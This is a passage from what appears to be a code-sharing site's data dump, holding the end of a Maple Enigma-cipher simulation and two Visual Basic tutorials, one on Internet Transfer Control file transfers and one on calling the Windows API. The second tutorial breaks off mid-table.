:= plainText[i] - 96; \nif letter > 0 and letter < 27 then \nif member(letter, plugIndex, 'x') then \nletter := plugEntry[x]; \nelif member(letter, plugEntry, 'y') then \nletter := plugIndex[y]; \nend if; \nletter := scram1[letter]; \nletter := scram2[letter]; \nletter := scram3[letter]; \nletter := reflector[letter]; \nmember(letter, scram3, 'letter'); \nmember(letter, scram2, 'letter'); \nmember(letter, scram1, 'letter'); \nif member(letter, plugEntry, 'z') then \nletter := plugIndex[z]; \nelif member(letter, plugIndex, 'w') then \nletter := plugEntry[w]; \nend if; \nend if; \nscram1 := rotate(scram1, 2); \npos1 := pos1 + 1; \nif pos1 > 26 then \npos1 := 1; \nscram2 := rotate(scram2, 2); \npos2 := pos2 + 1; \nif pos2 > 26 then \npos2 := 1; \nscram3 := rotate(scram3, 2); \npos3 := pos3 + 1; \nif pos3 > 26 then \npos3 := 1; \nend if; \nend if; \nend if; \nresponse := [op(response), letter + 96]; \nend do; \nend proc: \n┬á \nResults \n> message := \"There is one more feature of Scherbius's \ndesign, known as the ring, which has not yet been mentioned. Although the ring \ndoes have some effect on encryption, it is the least significant part of the \nwhole Enigma machine.\"; \n<img border=\"0\" src=\"http://www.mapleapps.com/categories/mathematics/Cryptography/html/images/enigma/enigma1.gif\" width=\"934\" height=\"20\">\n\n<img border=\"0\" src=\"http://www.mapleapps.com/categories/mathematics/Cryptography/html/images/enigma/enigma2.gif\" width=\"479\" height=\"20\">\n \n \n> code := enigma(message, [2,3,1], [c,b,t],[tg,yh,rf,ep,av,bn]);\n\n<img border=\"0\" src=\"http://www.mapleapps.com/categories/mathematics/Cryptography/html/images/enigma/enigma3.gif\" width=\"935\" height=\"20\">\n\n<img border=\"0\" src=\"http://www.mapleapps.com/categories/mathematics/Cryptography/html/images/enigma/enigma4.gif\" width=\"513\" height=\"20\">\n \n \n \n> result := enigma(code, [2,3,1], [c,b,t],[tg,yh,rf,ep,av,bn]);\n\n<img border=\"0\" src=\"http://www.mapleapps.com/categories/mathematics/Cryptography/html/images/enigma/enigma5.gif\" width=\"934\" height=\"20\">\n\n<img border=\"0\" src=\"http://www.mapleapps.com/categories/mathematics/Cryptography/html/images/enigma/enigma6.gif\" width=\"447\" height=\"20\">┬á\n \nThe actual Enigma machine did not have upper and lower case letters, and did not \nhave any spaces or punctuation, so this worksheet will always output lower case \nletters and ignore spaces and puntuation. \nIf we try to decrypt the message with slightly different initial conditions, the \nresult will be gibberish. ┬á\n \n> result2 := enigma(code, [2,3,1], [a,b,t], [tg,yh,rf,ep,av,bn]);\n\n<img border=\"0\" src=\"http://www.mapleapps.com/categories/mathematics/Cryptography/html/images/enigma/enigma7.gif\" width=\"935\" height=\"20\">\n\n<img border=\"0\" src=\"http://www.mapleapps.com/categories/mathematics/Cryptography/html/images/enigma/enigma8.gif\" width=\"515\" height=\"20\">┬á\n \n \nNote: This article was taken from: \nSylvain Muise \nsmuise@student.math.uwaterloo.ca"},{"WorldId":1,"id":31310,"LineNumber":1,"line":"<h4 style=\"margin-bottom: 5\" align=\"center\">Visit \nUs At: \n<a href=\"http://www.vbparadise.com\">http://www.vbparadise.com</a></h4>\n<h4 style=\"margin-bottom: 5\"> </h4>\n<h4 style=\"margin-bottom: 5\">Internet - File \nTransfers</h4>\nIn this tutorial I will \ncover how to perform file transfers between your PC and a web server. The topics \nof web site management, dynamic generation of web pages, and control/script \ninclusion in web pages is covered in a different tutorial. \nIn the Professional and Enterprise Editions of VB \nare the two controls which provide Internet features - the Internet Transfer \nControl and the Web Browser Control. The Internet Transfer Control (ITC) \nprovides both FTP and HTTP file transfer controls and is the subject of this \ntutorial - as is the use of the wininet.dll, which also provides file transfer \ncapabilities that you can access from within your VB applications. \nThe wininet.dll file is simply a library of \nfunctions that you can use to do file transfers. It is not a part of VB6, \nbut is installed along with the Microsoft Internet Explorer. This means \nyou can safely assume that it is available on most PCs. \nThe reason for using the ITC is simplicity. The \ncontrol provides a very straightforward, fairly simple interface to use in your \nVB programs. The down side is that the control is about 126K in size, increasing \nthe size of the installation files your application users will have to download.\nBy using the existing wininet.dll file, \nyou eliminate the increased application distribution file size, plus the \nwininet.dll offers greater control over the file transfer process. As you would \nexpect, the wininet.dll is harder to learn and is not documented as part of the \nVB documentation package. So, I'll focus \nfirst on the ITC, then end with enough detail on wininet.dll to show you how to \nuse it as an alternative to the ITC. \n<h4 style=\"margin-bottom: 5\">Protocols</h4>\nFor our purposes, only \ntwo of the many protocols matter - HTTP and FTP. Protocols are simply rules \nwhich programmers have agreed upon, and documented so that anyone using the \nprotocol can be assured that their software can communicate with other programs \nwhich also use that protocol. For the \npurposes of file transfer as discussed in this tutorial, It's not really that \nimportant to understand the details of either protocol, but there are a few \nfacts which are important to know. The key point to remember right now is that \nthe code for using the ITC for an FTP or for an HTTP file transfer are slightly \ndifferent. Most web sites are accessible \nby both FTP and HTTP (i.e., servers typically run both FTP and HTTP server \nsoftware for accessing content), so you can usually chose which approach to \ntake. In general, it really makes little \ndifference which protocol you use. Many of the books I've read recommend the FTP \nprotocol because it is more flexible than HTTP (i.e., read that as FTP has more \nfeatures which can be controlled by code than does HTTP). I generally agree with \nthat recommendation, but will confess that my own freeware applications now have \nan online update feature which is based on the HTTP protocol. \nHere's the tradeoff that drove me to that \ndecision: \n<ul>\n <li>FTP - Many ISPs do not allow \n anonymous (i.e., no username and no password) FTP connections to a \n website. But, I do not want to put my username/password into a \n distributed application for fear of compromising security on my \n web site. I could password protect and expose just a particular \n directory on the web site, but I've chosen to take no risks in \n that area. </li>\n <li>HTTP - The ITC code for an HTTP \n file transfer is extremly simple (the FTP code is not that \n complicated, it's just that the HTTP code is simpler). \n </li>\n</ul>\nOne of the key drawbacks of using the ITC for \nfile transfer (regardless of the protocol that is used) is that it does not \nprovide any built-in capability to identify how many bytes of the transfer are \ncomplete at any point in time. All you can tell from within your VB program is \nwhether the file transfer is in progress, or that it has stopped (because of a \nsuccessful transfer or some error that stopped the file transfer process). This \nis one of the key reasons you might be interested in looking at one of the 3rd \nparty file transfer OCXs. \nOpenURL Method of \nFile Transfer \nNow that I've gotten the introductory comments out of the way, let's talk about \nthe details of the ITC. The two most important things to know about the ITC is \nthat there are two methods of downloading files from a web site - the OpenURL \nmethod and the Execute method. Both support the FTP and HTTP file transfer \nprotocols. The OpenURL method is \nvery simple. You put in a file name to download and tell the program whether the \nfile is all text or binary. The code looks for an HTTP transfer of a text file \nlooks like this: \n\n<pre>text1.text = inet1.OpenURL ("http://www.vbinformation.com/badclick.htm", icString)\n</pre>\nThe code for an HTTP transfer of a binary file \nlooks like this: \n\n<pre>Dim bData() as Byte\nbData() = inet1.OpenURL ("http://www.vbinformation.com/badclick.htm", icByteArray)\n</pre>\nSince all files (text or binary) can be \ntransferred as a binary file, I used the same file name in both examples. Note \nthat in the first case, the downloaded file content is placed in a textbox named \n'text1'. In the second case, the downloaded file content is saved in a Byte \narray whose upper bound is set by the number of bytes downloaded by the OpenURL \nmethod. Also, note that both examples use HTTP URLs, but FTP URLs could have \nbeen used just as readily. In case you \ndon't remember, an easy way to save the bData byte array is: \n\n<pre>Open "filename" for Binary as #1\nPut #1, , bData()\nClose #1\n</pre>\nThis is really all there is to successfully \ndownloading a file by using the OpenURL method. I'll cover the question of \nerrors (such as when the server is down, or the file is not there) later in this \ntutorial. You should note that the \nOpenURL method is synchronous - which simply means that any code that follows \nthe OpenURL statement will not be executed until the file transfer is completed, \nor until the file transfer is stopped by the occurence of an error or by a user \ncommand (I'll show how to do this later). \nExecute Method of \nFile Transfer \nThe second method for downloading a file is the Execute method. As you'll see it \nprovides more features, but is definitely more complicated to code. The one key \ndifference that you'll want to be aware of is that with the Execute method the \nbytes of data are sometimes, but not always, kept within the ITC itself (in a \nmemory buffer). When the ITC does keep the downloaded bytes in its buffer, you \nmust use another method called GetChunk to extract the dowloaded bytes. Whether \nthe memory buffer is used varies with the arguments used in calling the Execute \nmethod. I'll give more detail on that later. \nAnother key difference that you should know about \nis the Execute method is asynchronous - meaning that it will download the file \nin the background and that any code following the Execute statement will be \nexecuted immediately. Finally, to \ncomplicate the discussion a bit more, the arguments you use in the Execute \nmethod differ depending on whether you want to use FTP or HTTP for the file \ntransfer. Here's the general syntax for \nthe Execute method: \n\n<pre>inet1.Execute (url, operation, data, requestheaders)\n</pre>\nFor an FTP file transfer, only the first two \narguments are used. For an HTTP file transfer, all four arguments may be used.\nHere's an example of the code you would \nuse to start a transfer using the Execute method and the FTP protocol: \n\n<pre>inet1.Execute ("ftp://www.microsoft.com", "DIR")\n</pre>\nThis command transfers the directory listing of \nthe Microsoft ftp site. Note than while the OpenURL method returns data to a \nvariable or an array, the Execute method does not! The data returned by the \nExecute method will either be kept within the ITC's buffer, or be directed to a \nfile according to the specifics of the command it is given. \nThe Execute method actually supports 14 FTP \ncommands (which are placed in the 'operation' argument), but there are primarily \nthree (CD, GET, and PUT) which you will use most often: \n\n<ul>\n <li>inet1.Execute \n ("ftp://www.microsoft.com", "CD newdirectory" </li>\n <li>inet1.Execute \n ("ftp://www.microsoft.com", "GET remotefile localfile" \n </li>\n <li>inet1.Execute \n ("ftp://www.microsoft.com", "PUT localfile remotefile" \n </li>\n</ul>\nThe first of these three allow you to make the \nconnection to the FTP server and to navigate to the directory where the files \nare located. The second shows how to GET a file from the server and put it on \nyour PC, while the third shows how to PUT a local file from your PC onto the FTP \nserver (in the directory to which you navigated to using the CD command). \nAlso, you will note that the GET and PUT \ncommands create a file on either the local or remote computers. In these cases, \nthe ITC memory buffer is not used. However, the ITC memory buffer must be \naccessed in order to get the output of the 'DIR' command. \nIn order to discuss how the ITC memory buffer is \naccessed, we have to talk first about the StateChanged Event. Statechanged is \nthe only event the ITC control has, and it provides a variable called 'State' \nwhich must be read to determine the status of a pending Execute method. \nThe State values are: \n\n<ul>\n <li>icNone (0) </li>\n <li>icHostResolvingHost (1) \n </li>\n <li>icHostResolved (2) </li>\n <li>icConnecting (3) </li>\n <li>icConnected (4) </li>\n <li>icRequesting (5) </li>\n <li>icRequestSent (6) </li>\n <li>icReceivingResponse (7) \n </li>\n <li>icResponseReceived (8) \n </li>\n <li>icDisconnecting (9) </li>\n <li>icDisconnected (10) </li>\n <li>icError (11) </li>\n <li>icResponseCompleted (12) \n </li>\n</ul>\nTypically, Select Case code is used within the \nStateChanged event to determine what action to take. In general, only actions 8, \n11, and 12 are used to generate a code response. The others are used mostly to \ndecide what message to display in a status label/toolbar. \nFor State=12, where the file transfer is complete, \nthe action you take is entirely up to you. This would usually be a simple popup \nmessage telling the user that the file transfer is complete. \nFor State=11, which indicates that an error has \noccurred, you would have to generate code necessary to correct or ignore the \nerror condition. Generally, you simply \nwait for State=12 to indicate that the transfer is complete. But, in some cases \nyou may want to begin extracting data before the transfer is complete. For \nexample, the HTTP header information is received first, but is not included in \nthe ITC download buffer. To get that information you use the .GetHeader method. \nYou can use the State=8 to determine when the header information is available.\nIn those cases where the ITC buffer is \nused to temporarily store the downloaded information, the .GetChunk method is \nused. Here's the code for the case where string data is being downloaded and a \nState=12 has been received to indicate that the transfer is complete: \n\n<pre>Do\n DoEvents\n bData = inet1.GetChunk (1024, icString)\n AllData = AllData & bData\nLoop Until bData = ""\n</pre>\nIn the case where a State=8 has been received, \nit is possible that no actual data is in the ITC buffer (such as when only \nheader information has been received). So, if the above code is used following a \nState=8 event, the condition of bData="" may not indicate completion of the data \ntransfer. Finally, remember that you may \nhave to set the .UserName and .Password properties if you are using the FTP \ncommands within the Execute method. If the FTP site you are accessing allows \n'anonymous' logon's, then you will not have to set these properties. \n<h4 style=\"margin-bottom: 5\">\nProperties/Methods/Events</h4>\nAs you saw in the sample \ncode, the basics of file transfer don't require knowledge of all 19 properties, \n5 methods, and one event exposed by the ITC. The following table list all of the \nITC interface elements, but as you will see in the discussion that follows, you \nwill not use but a few of these in most applications: \n<ul>\n <table>\n <tr>\n <th>Properties </th>\n <th>Methods </th>\n <th>Events </th>\n </tr>\n <tr>\n <td>AccessType </td>\n <td>Cancel </td>\n <td>StateChanged </td>\n </tr>\n <tr>\n <td>Document </td>\n <td>Execute </td>\n <td></td>\n </tr>\n <tr>\n <td>hInternet </td>\n <td>GetChunk </td>\n <td></td>\n </tr>\n <tr>\n <td>Password </td>\n <td>GetHeader </td>\n <td></td>\n </tr>\n <tr>\n <td>Protocol </td>\n <td>OpenURL </td>\n <td></td>\n </tr>\n <tr>\n <td>Proxy </td>\n <td></td>\n <td></td>\n </tr>\n <tr>\n <td>RemoteHost </td>\n <td></td>\n <td></td>\n </tr>\n <tr>\n <td>RequestTimeout </td>\n <td></td>\n <td></td>\n </tr>\n <tr>\n <td>ResponseCode </td>\n <td></td>\n <td></td>\n </tr>\n <tr>\n <td>ResponseInfo </td>\n <td></td>\n <td></td>\n </tr>\n <tr>\n <td>StillExcuting </td>\n <td></td>\n <td></td>\n </tr>\n <tr>\n <td>URL </td>\n <td></td>\n <td></td>\n </tr>\n <tr>\n <td>UserName </td>\n <td></td>\n <td></td>\n </tr>\n </table>\n</ul>\nIn addition, the normal control properties of \n.Index, .Left, .Top, .Tag, .Parent and .hInternet are available for the ITC.\nThis table can be digested more easily \nif you think in terms of how the properties/methods/events are used. Here's the \nway I've grouped them in my notes: \n<ul>\n <li>Basic \n The .OpenURL and .Execute methods are the heart of using the ITC. \n Everything you do requires the use of one of these two methods. \n The .GetChunk method is used to capture data downloaded by the \n .Execute method. </li>\n <li>Working \n The .URL, .Cancel, .StillExecuting, .ResponseCode, .ResponseInfo, \n .Cancel, .GetChunk, and .GetHeader interface elements are used \n extensively during program execution. </li>\n <li>Startup \n The .AccessType, .Proxy, .Protocol, .RequestTimeout, .RemoteHost, \n .UserName, .Password, and .RemotePort are very basic properties \n which you set once or use the default - then you're done with \n them. </li>\n</ul>\nThe bottom line of this tutorial section is \nthat file transfers can be made very easily using the ITC and just a handful of \nthe properties, methods and events supported by the control. \nAs a final note, in case you've been watching \ncarefully you will notice that I left out any discussion on the use of the \n.Execute method with HTTP commands. This was strictly for lack of time/space in \nthis tutorial. The .Execute method can be used equally with either FTP or HTTP \ncommands, but the FTP options are generally more extensive so FTP is the normal \nchoice for programmers. \n<h4>WinInet.dll - File Transfer Alternative</h4>\n--- info on using wininet.dll goes here ----"},{"WorldId":1,"id":31321,"LineNumber":1,"line":"<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse\" bordercolor=\"#111111\" width=\"712\" id=\"AutoNumber1\">\n <tr>\n <td width=\"712\">\n <h4 align=\"center\">Visit Us At:\n <a href=\"http://www.vbparadise.com\">\n http://www.vbparadise.com</a></h4>\n <h4></h4>\n <h4>API - Application Programmer's Interface</h4>\n When Microsoft wrote Windows they put a huge \n amount of code into procedure libraries which programmers can access. No matter \n which language you're using (VB, C++, ...) you can use the Windows API to \n greatly expand the power of your application. \n There are a lot of Windows programs whose code is \n spread across multiple files. The .EXE file does not always contain all of the \n code that a programmer might use. For example, by creating his own library of \n procedures (usually in the form of a file with a .DLL extension) a programmer \n can allow more than one of his applications to access the same code. \n Microsoft does a similar thing with Windows. \n There are many files which have code that you can access, but the three most \n often named files are: \n <ul>\n <li>user32.dll - controls \n the visible objects that you see on the screen </li>\n <li>gdi32 - home of most \n graphics oriented API </li>\n <li>kernel32.dll - provides \n access to low level operating system features </li>\n </ul>\n Later, I'll bring up some of the other files \n whose procedures you might want access. However, there are some key issues \n which you should note before making a decision to use an API call. \n <ul>\n <li>Version Compatibility \n Microsoft has long been known to update it's files without much \n fanfare - read that as without telling anyone about it until it's \n already happened! And often, the updated code may not perform \n exactly as did the older version. Users often find this out by \n seeing unexected errors or by having their system crash and/or \n lock up on them! In VB5 there were a huge number of programmer's \n who got bit by this problem. \n If you stick with the basic 3 OS \n files listed above, you won't see to much of this. But the \n further away you go from the main 3 files, the more likely you \n are to get into code which hasn't seen the testing and \n improvement cycle that the main Windows OS files have gone \n through. </li>\n <li>File Size \n One of the very major downsides to the concept of API is \n that all of this great code lives in some very big files! Worse \n yet, sometimes the API you want are spread over multiple files \n and you may be using only one or two procedures from enormous \n files which have hundreds of procedures in them. Where this \n becomes a problem is in a)load time - where it can takes several \n seconds to load the procedure libraries, and b) - where you want \n to distribute your application and in order to make sure that all \n of the procedure libraries are on your user's machine, you have \n to put all of them into the distribute files. This can add many \n megabytes of files to your distribution applications. It is a \n major problem for distribution of software over the net, where 5 \n minutes per megabyte can deter a usage from trying out an \n application just because he doesn't want to wait for the \n download! </li>\n <li>Documentation \n Finding the documentation of what procedures are in a library and \n how to use them can be very difficult. On my PC I have 3,380 \n files with a .DLL extension with a total size of 539MB. That's a \n lot of code! Unfortunately I can count on one hand the pages of \n documentation that I have to tell me what that code is or does! \n You'll learn how to use DLLs in this tutorial, but without \n the documentation from the creator of the DLLs you cannot use \n them successfully. </li>\n </ul>\n Despite these problems, the powerful magic of \n the API is that they are code which you don't have to write. If you've read my \n Beginner's section you know that I am a big fan of using 3rd party software to \n lighten my own programming load. As with 3rd party controls, the API provide \n procedures which someone else wrote, debugged, and made availble for you to \n benefit from. In the Windows DLLs files, there are literally thousands of \n procedures. The key to API programming is learning which of these procedures \n are useful and which ones you are unlikely to ever need! This tutorial tries to \n address just that problem. Getting \n Started It's actually simpler than you might imagine. By now, you've \n already written procedures for your own VB programs. Using procedures from \n other files is almost exactly the same as using procedures from within your own \n program. The one big difference is that \n you must tell your application which file the procedure is contained in. To do \n so, you must put 1 line of code into your VB program. And, you have to do this \n for every external procedure that you plan to use. I suppose it would be nice \n for VB to have the ability to find the procedures for you - but you can see \n that searching through the 3,380 procedures on my PC might slow my applications \n down a lot! Ok, let's get to an \n example. Telling VB about the procedure you want to use is known as "declaring" \n the procedure, and (no surprise) it uses a statement which starts with the word \n declare. Here's what a declaration looks like: \n <pre>Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags as Long, ByVal dwReserved as Long) as Long\n</pre>\n Let's take about the parts of the declaration \n statement: \n <ul>\n <li>"Declare" \n This is reserved word that VB uses to begin a declaration. There \n is no alternative - you have to use it. </li>\n <li>"Function" \n Also a reserved word, but in this case it distinguishes between a \n SUB procedured and a FUNCTION procedure. The API use Function \n procedures so that they can return a value to indicate the \n results of the action. Although you can discard the returned \n value, it's also possible to check the return value to determine \n that the action was successfully completed. completed. \n alternative - you have to use it. </li>\n <li>"ExitWindowsEx" \n Inside each DLL is a list of the procedures that it contains. \n Normally, in a VB declaration statement you simply type in the \n name of the procedure just as it is named in the DLL. Sometimes, \n the DLL true name of the procedure may be a name that is illegal \n in VB. For those cases, VB allows you to put in the text string \n "Alias NewProcedurename" right behind the filename. In this \n example, VB would make a call to the procedure by using the name \n "NewProcedureName". </li>\n <li>"Lib 'user32'" \n Here's where you tell VB which file the procedure is in. Normally \n you would put "user32.dll", showing the extension of the \n procedure library. For the special case of the three Windows \n system DLLs listed above, the API will recognize the files when \n simply named "user32", "kernel32", and "gdi32" - without the DLL \n extensions shown. In most other cases you must give the complete \n file name. Unless the file is in the system PATH, you must also \n give the complete path to the file. </li>\n <li>"(ByVal uFlags as Long ...)" \n Exactly like your own procedures, Windows API functions can have \n a list of arguments. However, while your VB procedures often use \n arguments passed by reference (i.e., their values can be \n changed), most Windows API require that the arguments be passed \n by value (i.e, a copy of the argument is passed to the DLL and \n the originial variable cannot be changed). \n Also, you'll note that a constant \n or variable is normally used as the argument for an API call. \n It's technically acceptable to simply use a number for an \n argument but it is common practice among experienced programmers \n to create constants (or variables) whose name is easy to remember \n and then to use those in the argument list. When you're reading \n or debugging your code later, the use of these easy to read \n constant/variable names makes it much easier to figure out what \n went wrong! </li>\n <li>"as Long" \n This is exactly like the code you use to create your own \n functions. Windows API are functions which return values and you \n must define what type of variable is returned. </li>\n </ul>\n While I make it sound simple (and it is), \n there are still issues which ought to concern you when using the Windows API. \n Because the API code executes outside the VB program itself, your own program \n is susceptable to error in the external procedure. If the external procedure \n crashes, then your own program will crash as well. It is very common for an API \n problem to freeze your system and force a reboot. \n The biggest issue that VB programmers would see \n in this case is that any unsaved code will be lost!. So remember the \n rule when using API - save often! \n Because many of the DLLs you will use have been debugged extensively you \n probably won't see many cases where the DLL crashes because of programming bug. \n Far more frequently VB programmers will see a crash because they passed \n arguments to the procedure which the procedure could not handle! For example, \n passing a string when an integer was needed will likely crash the system. The \n DLLs don't include extensive protection in order to keep their own code size \n small and fast. It is simple to say \n that if you pass the correct type of argument, that you won't see API crashes. \n However, the documentation is not always clear exactly what argument type is \n needed, plus when writing code it is all too common to simply make a mistake!\n Finally, it is the case that most of \n the DLLs you'll want to use were written in C++. The significance of this is \n that the data types in C++ do not map cleanly into the data types that are used \n in Visual Basic. Here are some of the issues which you need to be aware of:\n \n <ul>\n <li>Issue1 </li>\n <li>Issue2 </li>\n </ul>\n Okay, stay with me just a bit longer and we'll \n get into the actual use of some API. But first, here is a list of other DLLs \n which have procedures that could be of use to you. These DLLs will show up \n later in this tutorial when we get to the API which I recommend that you \n consider for use in your own applications. \n <ul>\n <li>Advapi32.dll - Advanced API \n services including many security and Registry calls </li>\n <li>Comdlg32.dll - Common dialog \n API library </li>\n <li>Lz32.dll - 32-bit compression \n routines </li>\n <li>Mpr.dll - Multiple Provider \n Router library </li>\n <li>Netapi32.dll - 32-bit Network \n API library </li>\n <li>Shell32.dll - 32-bit Shell API \n library </li>\n <li>Version.dll - Version library\n </li>\n <li>Winmm.dll - Windows multimedia \n library </li>\n <li>Winspool.drv - Print spoolder \n interface </li>\n </ul>\n Often, the documentation that you might find \n for an API will be written for a C++ programmer. Here's a short table which \n helps you translate the C++ variable type declaration to its equivalent in \n Visual Basic: <table cellSpacing=\"0\" cellPadding=\"0\">\n <tr>\n <td>ATOM </td>\n <td>ByVal variable as Integer </td>\n </tr>\n <tr>\n <td>BOOL </td>\n <td>ByVal variable as Long </td>\n </tr>\n <tr>\n <td>BYTE </td>\n <td>ByVal variable as Byte </td>\n </tr>\n <tr>\n <td>CHAR </td>\n <td>ByVal variable as Byte </td>\n </tr>\n <tr>\n <td>COLORREF </td>\n <td>ByVal variable as Long </td>\n </tr>\n <tr>\n <td>DWORD </td>\n <td>ByVal variable as Long </td>\n </tr>\n <tr>\n <td>HWND </td>\n <td>ByVal variable as Long </td>\n </tr>\n <tr>\n <td>HDC </td>\n <td>ByVal variable as Long </td>\n </tr>\n <tr>\n <td>HMENU </td>\n <td>ByVal variable as Long </td>\n </tr>\n <tr>\n <td>INT </td>\n <td>ByVal variable as Long </td>\n </tr>\n <tr>\n <td>UINT </td>\n <td>ByVal variable as Long </td>\n </tr>\n <tr>\n <td>LONG </td>\n <td>ByVal variable as Long </td>\n </tr>\n <tr>\n <td>LPARAM </td>\n <td>ByVal variable as Long </td>\n </tr>\n <tr>\n <td>LPDWORD </td>\n <td>variable as Long </td>\n </tr>\n <tr>\n <td>LPINT </td>\n <td>variable as Long </td>\n </tr>\n <tr>\n <td>LPUINT </td>\n <td>variable as Long </td>\n </tr>\n <tr>\n <td>LPRECT </td>\n <td>variable as Type any variable of that User \n Type </td>\n </tr>\n <tr>\n <td>LPSTR </td>\n <td>ByVal variable as String </td>\n </tr>\n <tr>\n <td>LPCSTR </td>\n <td>ByVal variable as String </td>\n </tr>\n <tr>\n <td>LPVOID </td>\n <td>variable As Any use ByVal when passing a \n string </td>\n </tr>\n <tr>\n <td>LPWORD </td>\n <td>variable as Integer </td>\n </tr>\n <tr>\n <td>LPRESULT </td>\n <td>ByVal variable as Long </td>\n </tr>\n <tr>\n <td>NULL </td>\n <td>ByVal Nothing or ByVal 0& or vbNullString\n </td>\n </tr>\n <tr>\n <td>SHORT </td>\n <td>ByVal variable as Integer </td>\n </tr>\n <tr>\n <td>VOID </td>\n <td>Sub Procecure not applicable </td>\n </tr>\n <tr>\n <td>WORD </td>\n <td>ByVal variable as Integer </td>\n </tr>\n <tr>\n <td>WPARAM </td>\n <td>ByVal variable as Long </td>\n </tr>\n </table>\n We're not quite ready to get into using the \n API. Here is a scattering of issues/comments about using API which you will \n want to be aware of: \n <ul>\n <li>Declare \n <ul>\n <li>DECLARE in \n standard module are PUBLIC by default and be used \n anywhere in your app </li>\n <li>DECLARE in any \n other module are PRIVATE to that module and MUST BE \n marked PRIVATE </li>\n <li>Procedure names \n are CASE-SENSITIVE </li>\n <li>You cannot \n Declare a 16-bit API function in VB6 </li>\n </ul>\n </li>\n <li>ALIAS \n <ul>\n <li>Is the "real" \n name of the procedure as found in the DLL \n </li>\n <li>If the API uses \n string, you MUST use ALIAS with "A" to specify the \n correct character set (A=ANSI W=UNICODE) \n </li>\n <li>WinNT supports W, \n but Win95/Win98 do not </li>\n <li>Some DLLs have \n illegal VB name, so you must use ALIAS to rename \n the procedure </li>\n <li>Can also be the \n ordinal number of the procedure </li>\n </ul>\n </li>\n <li>Variable Type \n <ul>\n <li>Very few DLLs \n recognize VARIANT </li>\n <li>ByRef is VB \n default </li>\n <li>Most DLLs expect \n ByVal </li>\n <li>In C \n documentation, C passes all arguments except arrays \n by value </li>\n <li>AS ANY can be \n used but it turns off all type checking \n </li>\n </ul>\n </li>\n <li>Strings \n <ul>\n <li>API generally \n require fixed length strings </li>\n <li>Pass string ByVal \n means passing pointer to first data byte in the \n string </li>\n <li>Pass string ByRef \n means passing memory address to another memory \n addresss which refers to first data byte in the \n string </li>\n <li>Most DLLs expect \n LPSTR (ASCIIZ) strings (end in a null character), \n which point to the first data byte </li>\n <li>VB Strings should \n be passed ByVal (in general) </li>\n <li>VB uses BSTR \n strings (header + data bytes) - BSTR is passed as a \n pointer to the header </li>\n <li>DLL can modify \n data in a string variable that it receives as an \n argument - WARNING: if returned value is longer \n than passed value, system error occurs! \n </li>\n <li>Generally, API do \n not expect string buffers longer than 255 \n characters </li>\n <li>C & VB both treat \n a string array as an array of pointers to string \n data </li>\n <li>Most API require \n you to pass the length of the string and to fill \n the string wih spaces </li>\n </ul>\n </li>\n <li>Arrays \n <ul>\n <li>Pass entire array \n by passing the first element of the array ByRef\n </li>\n <li>Pass individual \n elements of array just like any other variable\n </li>\n <li>If pass pass \n binary data to DLL, use array of Byte characters\n </li>\n </ul>\n </li>\n <li>Callback Function \n <ul>\n <li>Use AddressOf to \n pass a user-defined function that the DLL procedure \n can use </li>\n <li>Must have \n specific set of arguments, AS DEFINED by the API \n procedure </li>\n <li>Procedure MUST be \n in a .BAS module </li>\n <li>Passed procedure \n must be As Any or As Long </li>\n </ul>\n </li>\n <li>Passing a null value\n \n <ul>\n <li>To pass a null \n value - zero-length string ("") will not work\n </li>\n <li>To pass a null \n value - use vbNullString </li>\n <li>To pass a null \n value - change Type to Long and then use 0& \n </li>\n </ul>\n </li>\n <li>Window Handle \n <ul>\n <li>A handle is \n simply a number assigned by Windows to each window\n </li>\n <li>In VB, the handle \n is the same as the property hWnd </li>\n <li>Handles are \n always Long variable types </li>\n </ul>\n </li>\n <li>Callbacks \n <ul>\n <li>Some API can run \n one of you own VB functions. Your VB function is \n called a "Callback" </li>\n <li>VB supports \n callbacks with a function "AddressOf", which give \n the API the location of the function to execute\n </li>\n <li>Callback \n functions must be in a module. They cannot be in a \n form. </li>\n </ul>\n </li>\n <li>Subclassing \n <ul>\n <li>All windows work \n by processing messages from the Windows operating \n system </li>\n <li>You can change \n how a window responds to a message by intercepting \n the message </li>\n <li>To intercept a \n message, use the API SetWindowsLong </li>\n </ul>\n </li>\n <li>Miscellaneous \n <ul>\n <li>Control \n properties MUST be passed by value (use \n intermediate value to pass ByRef) </li>\n <li>Handles - always \n declare as ByVal Long </li>\n <li>Variant - to pass \n Variant to argument that is not a Variant type, \n pass the Variant data ByVal </li>\n <li>UDT - cannot be \n passed except as ByRef </li>\n </ul>\n </li>\n </ul>\n Which API Should I Use? \n Finally we get to the good part. First the bad news, then the good news. In \n this section I do not provide code that you can simply copy into your own \n applications. The good news is that I provide a list of features that you might \n want to incorporate into your own application and then tell you which of the \n API to use. For the purposes of this relatively short tutorial, the best I can \n do is to point you off in the right direction! \n In case you don't know, VB6 comes with a tool to \n help you use API in your own applications. The API Viewer is installed \n automatically with VB, and to use it go to the Start/Programs/VB/Tools menu and \n select "API Viewer". The viewer actions much like my own VB Information \n Center Code Librarian in that you can browse through the various API, \n select one for copying to the clipboard, and then paste the declaration into \n your own application's code window. You'll definitely want to try this out. The \n data file that comes with the viewer if very extensive, listing 1550 API \n Declarations. In my case I use API \n regularly, but I've never come close to using 1550 API. At best, I barely have \n broken the 100 mark. It seems that for the most part I can get VB to do \n whatever task I want without resorting to the API. However, in some cases you \n just can do any better than a few lines of API code to get the job done! So, \n here's my own list of useful tasks and the API needed to perform them: \n \n <table cellSpacing=\"0\" cellPadding=\"0\" width=\"712\" style=\"border-collapse: collapse\" bordercolor=\"#111111\">\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Play \n sound </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" (ByVal \n lpszSoundName as string, ByVal uFlags as Long) as Long \n Result = sndPlaySound (SoundFile, 1) </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">\n SubClassing </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal \n lpPrevWndFunc as Long, ByVal hwnd as Long, byval msg as long, byval wParam as \n long, byval lParam as Long ) as long \n Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd \n As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Run \n associated 